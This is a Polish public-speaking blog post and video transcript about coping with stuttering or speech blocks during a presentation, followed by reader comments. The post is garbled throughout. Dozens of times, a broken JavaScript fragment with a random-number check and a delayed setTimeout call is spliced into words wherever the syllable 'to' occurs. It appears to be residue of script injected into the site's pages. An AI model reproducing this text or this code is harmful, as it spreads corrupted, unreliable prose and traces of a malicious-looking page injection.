Dziś kilka słów o zmianie sposobu myślenia na temat prezentacji. Co jest tragedią a nad czym nie należy za dużo myśleć, żeby nie powiedzieć brzydko “ol..ć dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to!”
Wszystko zależy od Ciebie. Tłumaczę dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to właśnie w tym nagraniu:
Jeśli film będzie się zawieszał, wciśnij pauzę i wróć do oglądania za kilka minut.
Transkrypt nagrania możesz przeczytać poniżej:
W tym filmie odpowiadam na pytanie jednego z czytelników mojego bloga. Brzmi ono następująco:
“Robercie, czy podczas wystąpienia można się zająknąć? Pytam dlatego, że mam małą wadę wymowy tzw. bloki. Gdy się zdenerwuję dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ciężko jest mi się wysłowić. Stąd moje pytanie, czy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to duży problem?”
Moja odpowiedź:
Czy będzie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to duży problem zależy od Ciebie. Jeśli nadasz tej sytuacji dużą rangę dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to masz problem, gdy uznasz, że nie zdarzyło się nic wielkiego, masz mały problem albo wcale. Jak widzisz, wszystko zależy od Twojego nastawienia do prezentacji, siebie i publiczności.
Zacznijmy od publiczności – mam nadzieję, że występujesz przed kulturalną widownią, zatem nawet jeśli zdarzy Ci się zająknąć lub nie możesz wymówić jakiegoś słowa dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nikt nie będzie się śmiał ani złośliwie komendom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tował. Gdy masz do czynienia z chamską widownia dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie masz wpływu na jej chamskie zachowanie zatem polecam zachowanie z pierwszego akapitu tego artykułu czyli… olać dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to! Wiem, że dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fatalne określenie ale akurat pasuje…
Teraz pora na Ciebie i Twoje myślenie o występie. Musisz być dobrze nastawiona/y do prezentacji. Powiedz sobie: dam radę, poradzę sobie w każdej sytuacji. Ja tak robię i nawet gdy coś pójdzie nie tak, nie przejmuję się tym za bardzo. Rób tak samo. Nie zrozum mnie źle, nie chodzi o dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aby mieć wszystko i wszystkich gdzieś! Chodzi o dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aby mieć zdrowe, zdystansowane podejście do tego co robimy.
Teraz podam Ci 4 kroki – konkretnie co masz zrobić gdy zająkniesz się albo zabraknie Ci słowa lub nie będziesz mógł go wymówić (z nerwów tak się czasem zdarza – sam tak mam)
Krok nr 1.
Nie staraj się na siłę wypowiedzieć dany wyraz, nie podchodź do niego trzeci, piąty, dziesiąty raz. To nie ma sensu, bo z każdym razem Twoje zdenerwowanie będzie coraz większe a szanse na wymówienie słowa coraz mniejsze. Spróbuj zmienić konstrukcję zdania albo zastąpić wyraz innym.
Krok 2.
Zrób kilka sekund pauzy, weź głęboki wdech i… uśmiechnij się! Zobaczysz, że poczujesz się lepiej wewnętrznie (uśmiechając się) a na dodatek publiczność zauważ, że mimo trudnej sytuacji stać Cię jeszcze na pogodne zachowanie. Ludzie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to docenią.
Krok 3.
Po uśmiechu, wykorzystując dobre nastawienie widowni, powiedz o swoim zdenerwowaniu:
“Jak państwo widzą gdy się denerwuję mam czasami problem z wysłowieniem się”. Ludzie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zrozumieją. część z nich była kiedyś w podobnej sytuacji.
Krok 4.
Poproś natychmiast audydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium o “pomoc”. Jak? Masz godom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towe zdanie:
“Mam do Państwa prośbę – jeśli w dalszej części mojej prezentacji zdarzy się podobna sytuacja a kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś z Was domyśli się, jakie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trudne słowo mam na myśli, proszę bez wahania podpowiedzieć mi”.
To wszystko. Ludzie uwielbiają pomagać innym bo wtedy czują się lepiej. A w tym przypadku pomoc nic nie kosztuje 🙂
Pozdrawiam
Robert
PS. jeśli masz do mnie pytania związane w wystąpieniami publicznymi, możesz mi je zadać poprzez specjalny formularz jaki przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towałem. najpierw na prawym pasku mojego bloga kliknij w moje zdjęcie pod napisem “Zapytaj Roberta”. Zostaniesz przeniesiona na stronę z formularzem. napisz swoje pytanie i kliknij “wyślij”. Trafi ono na mój adres mailowy.
Możesz napisać do mnie na maila bezpośrednio:
rwazynskiMAUPAgmail.com 🙂
Postaram się raz na dwa tygodnie nagrywać film z odpowiedziami na Wasze pytania.
– – – – – – – – – – – – – – – – – – –
Jeśli film/artykuł spodobały Ci się, kliknij “Lubię dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to” na górze strony. Będę bardzo wdzięczny za każdy pozostawiony na moim blogu komentarz.
Koniecznie odwiedź mój kanał You Tube! Znajdziesz go klikając w ikonkę YT na górze strony, po prawej stronie.
– – – – – – – – – – – – – – – – – – –
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Wspaniały video-poradnik Robercie 🙂
Polecam Twoją stronę wszystkim moim partnerom biznesowym, kiedy namawiam ich do wystąpień publicznych… Sama również dzięki Twojej wiedzy wzmocniłam swoją pewność siebie podczas wystąpień i prezentacji i teraz mogę swobodnie dzielić się swoją wiedzą z innymi.
Dziękuję za to co robisz 🙂
Tak trzymać 🙂
AnnaMariaDębniak.pl
O Robert Ważyński … to już 3 tygodnie jak nie było wpisu na blogu.
Trend jak Netia lub Kaszpirowski 🙂 http://www.youtube.com/watch?v=J6O3kZvYOok
Wiosna, to pewnie już wstajesz rano conajmniej o 6:00 (postanowienia noworoczne 🙂 )
O Lenovo ThinkPad – pewnie z błyszczącym ekranem, lustrem … mówią, że to nie zdrowo trzymać notebook na kolanach, zwłaszcza, że procesor przygrzewa 🙂
Cyprianie,
nagrywając o tym nie myślałem, ale rzeczywiście nawiązania do świetnej reklamy z Kotem są tu jak najbardziej na miejscu 🙂
To przekazanie energii wyszło jakoś spontanicznie nie planowałem tego “zrobić”…
Rzeczywiście wstaję wcześniej ale to chyba przez ładniejszą ostatnio pogodę, to nie moja zasługa 🙂
Co do laptopa na kolanach, wezmę sobie Twoje porady do serca. Ostatnio spędzam znacznie mniej czasu wpatrzony w monitor. Mam dużo pracy w wydawnictwie – prezentacje, nauczyciele, setki kilometrów, podręczniki, pakiety promocyjne itd.
pozdrawiam!
I jeszcze wiosenny dodatek z humorem …
a propo pozytywnej energii, wczesnego wstawania, dobrej organizacji pracy … i derminacji, nie poddawania się:
http://aurl.pl/determinacja
Super!!!
Dobra organizacja pracy to zwiększone efekty produkcyjne 🙂
Robercie, zawsze z przyjemnością słucham Twoich rad w sprawie publicznego zabierania głosu. Jako młoda dziewczyna miewałam często takie chwile, w których słowa więzły mi w gardle, lub zapominałam o czym chciałam powiedzieć. Obecnie, to ostatnie, też mi się jeszcze przytrafia. Zdaję sobie sprawę, że moje nerwy są zbyt napięte, bo nie radzę sobie z piętrzącymi się lawinowo trudnościami, które często są konsekwencją niewłaściwych wyborów jakie podejmuję. No cóż, mimo już 60 prawie lat (które skończę w kwietniu), wciąż jestem młoda, bo nadal uczę się na swoich błędach. Jednak jedno mogę przyznać, że szczerość w relacjach z ludźmi popłaca, bo do własnych błędów należy się przyznawać i nie strugać z siebie kogoś lepszego, kim się nie jest. Każdy jest ograniczany swoją niedoskonałością, więc ludzie powinni to rozumieć. Nie zrozumie tylko ten, kto siebie chce uczynić lepszym od rozmówcy, a często nic w zamian nie ma do zaoferowania. Jest pozerem, chcącym rozmówcę zgnoić lub ośmieszyć. Tak więc Przyznaję, Ci rację, z ludźmi należy budować zdrowe relacje i ich się nie bać, nie obawiać się okazać niedoskonałym. Liczą się intencje i to co chcemy im przekazać, a to da się w rezultacie zrozumieć, jeśli temat będzie tak rozwinięty, że w rezultacie, słuchacze mogą poczuć,iż zostali zaopatrzeni w nową ideę, nowy koncept, który jest dla nich przydatny, bo był przez nich pomijany lub nad nim się nie zastanawiali dotąd. Pozdrawiam. MET.
Mario,
poruszyłaś bardzo ważny temat – widzowie wybaczą Ci wiele potknięć, niedoskonałości, przejęzyczeń gdy poczują, że jesteś na scenie dla nich!
jeśli masz ciekawy temat, przemawiasz z pasją, dajesz użyteczne wskazówki, po prostu pomagasz innym to możesz się zająknąć, przejęzyczyć a i tak będą cię słuchać bo COŚ z Twojej prezentacji wyniosą.
pozdrawiam słonecznie w pierwszy dzień wiosny 🙂
Cześć Robert,
podobno trzymanie laptopa na kolanach wpływa na potencję…. zmartwiony tym faktem kupiłem specjalną poduszkę (kosztowała mnie niecałe 40zł, a korzyści w perspektywie długofalowej – nieocenione). Aczkolwiek, żeby nie offtopować –
MASZ 100% RACJI, jakość naszego życia (niezależnie od tego, czy mówimy o pracy, relacjach z klientami, bliskimi) zależy od naszego nastawienia.
Przykład pierwszy lepszy z brzegu – kiedyś jak jeszcze byłem przedstawicielem miałem taką sytuację – myślałem, że klient jest naszym stałym klientem i po prostu trzeba przedłużyć z nim umowę. Dopiero jak wróciłem do biura zobaczyłem, że to był kompletnie świeży klient.
Co jest najważniejsze? Jak jechałem do niego, byłem przekonany, że po prostu kupi ode mnie, bo już kiedyś to zrobił, a ja mu tylko uczciwie odświeżę najważniejsze korzyści, jakie będzie odnosił z mojego produktu.
Także, jeśli zaczynam tydzień, to zakładam że będzie on lepszy od poprzedniego, że przybliży mnie do realizacji jakiegoś celu, nie zastanawiam się w żadnym wypadku “co by było, gdyby się spieprzyło”. Prawa Murphiego są nieubłagane i nic nie poradzimy:)
Pozdrawiam
Bartek Pronin
http://www.grzechybiznesu.blogspot.com
Witam panie Robercie!!!
Musze panu podziękować, ponieważ wczoraj wygrałem olimpiadę na której musiałem prezentować swój projekt przed komisją. Pośrednio dzięki Pana radą na scenie podczas przemówienia czułem pewność siebie, byłem wyluzowany, żartobliwy i pełen przekonania, że mi się powiedzie pomimo tego że nie mam zbyt przyjemnej barwy głosu (baryton :P) i często zdaża mi się zacinać to podczas prezentacji naprawdę popłynąłem 🙂 Jeszcze raz dziękuje….wykonuje pan dobrą robotę tworząc swój blog.
Pozdrawiam
Jonasz
Cieszę się Jonaszu, że mogłem pomóc. To jeden z celów mojej działalności w sieci. Napatrzyłem się w życiu na zdenerwowanych kolegów i koleżanki w roli prezenterów i jak tylko mogę to staram się doradzać ludziom jak bez stresu ( o ile to możliwe) mówić do innych.
A co do głosu, to dobrze, że są różne gusta zatem niekoniecznie dla wszystkich Twój głos może brzmieć nieciekawie.